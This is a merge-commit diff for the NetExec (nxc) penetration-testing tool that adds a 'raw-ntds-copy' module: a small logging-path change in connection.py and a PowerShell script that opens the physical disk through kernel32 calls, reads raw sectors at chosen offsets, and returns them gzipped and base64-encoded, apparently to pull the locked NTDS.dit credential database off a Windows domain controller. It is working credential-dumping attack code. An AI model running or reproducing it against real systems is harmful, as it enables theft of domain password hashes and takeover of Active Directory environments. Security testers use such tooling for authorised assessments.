Merge pull request Pennyw0rth#468 from 0xb11a1/raw-ntds-copy

Add raw-ntds-copy module

Author: NeffIsBack

nxc/connection.py

@@ -1,3 +1,5 @@
+from datetime import datetime
+import os
 import random
 import sys
 import contextlib
@@ -15,6 +17,7 @@
 from nxc.loaders.moduleloader import ModuleLoader
 from nxc.logger import nxc_logger, NXCAdapter
 from nxc.context import Context
+from nxc.paths import NXC_PATH
 from nxc.protocols.ldap.laps import laps_search
 from nxc.helpers.pfx import pfx_auth
 
@@ -156,6 +159,11 @@ def __init__(self, args, db, target):
         self.local_ip = None
         self.dns_server = self.args.dns_server
 
+        # Construct the output file template using os.path.join for OS compatibility
+        base_log_dir = os.path.join(os.path.expanduser(NXC_PATH), "logs")
+        filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
+        self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
+
         # DNS resolution
         dns_result = self.resolver(target)
         if dns_result:

nxc/data/ntds-dump-raw/ntds-dump-raw.ps1

@@ -0,0 +1,95 @@
+Add-Type -TypeDefinition @"
+using System;
+using System.Runtime.InteropServices;
+using Microsoft.Win32.SafeHandles;
+
+public class CNativeMethods
+{
+    public const uint GENERIC_READ = 0x80000000;
+    public const uint OPEN_EXISTING = 3;
+    public const uint FILE_SHARE_READ = 0x00000001;
+    public const uint FILE_SHARE_WRITE = 0x00000002;
+    public const uint FILE_SHARE_DELETE = 0x00000004;
+
+    [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
+    public static extern SafeFileHandle CreateFile(
+        string lpFileName, 
+        uint dwDesiredAccess, 
+        uint dwShareMode, 
+        IntPtr lpSecurityAttributes, 
+        uint dwCreationDisposition, 
+        uint dwFlagsAndAttributes, 
+        IntPtr hTemplateFile
+    );
+
+    [DllImport("kernel32.dll", SetLastError = true)]
+    public static extern bool ReadFile(
+        SafeFileHandle hFile, 
+        byte[] lpBuffer, 
+        uint nNumberOfBytesToRead, 
+        out uint lpNumberOfBytesRead, 
+        IntPtr lpOverlapped
+    );
+
+    [DllImport("kernel32.dll", SetLastError = true)]
+    public static extern bool SetFilePointerEx(
+        SafeFileHandle hFile, 
+        long lDistanceToMove, 
+        out long lpNewFilePointer, 
+        uint dwMoveMethod
+    );
+}
+
+public enum EMoveMethod : uint
+{
+    Begin = 0,
+    Current = 1,
+    End = 2
+}
+"@
+Function read_disk{
+    $offset = [long]$args[0]
+    $size = [int]$args[1]
+    try {
+        $handle = [CNativeMethods]::CreateFile("\\.\PHYSICALDRIVE0", 
+            [CNativeMethods]::GENERIC_READ, 
+            [CNativeMethods]::FILE_SHARE_READ -bor [CNativeMethods]::FILE_SHARE_WRITE -bor [CNativeMethods]::FILE_SHARE_DELETE, 
+            [IntPtr]::Zero, [CNativeMethods]::OPEN_EXISTING, 0, [IntPtr]::Zero)
+
+        if ($handle.IsInvalid) {
+            throw "Failed to create file handle"
+        }
+
+        $moveToHigh = 0
+        $success = [CNativeMethods]::SetFilePointerEx($handle, $offset, [ref]$moveToHigh, [EMoveMethod]::Begin)
+        if (-not $success) {
+            throw "Failed to set file pointer"
+        }
+
+        $buffer = New-Object byte[] $size
+        $bytesRead = 0
+        $success = [CNativeMethods]::ReadFile($handle, $buffer, $size, [ref]$bytesRead, [IntPtr]::Zero)
+
+        if (-not $success) {
+            throw "Failed to read file"
+        }
+
+        $memoryStream = New-Object System.IO.MemoryStream
+        $gzipStream = New-Object System.IO.Compression.GzipStream($memoryStream, [System.IO.Compression.CompressionMode]::Compress)
+        $gzipStream.Write($buffer, 0, $buffer.Length)
+        $gzipStream.Close()
+
+        $compressedBytes = $memoryStream.ToArray()
+        $compressedBase64 = [Convert]::ToBase64String($compressedBytes)
+
+        Write-Output $compressedBase64
+    } catch {
+        Write-Error "An error occurred: $_"
+    }
+
+    finally {
+        if ($handle -and !$handle.IsInvalid) {
+            $handle.Close()
+        }
+    }
+}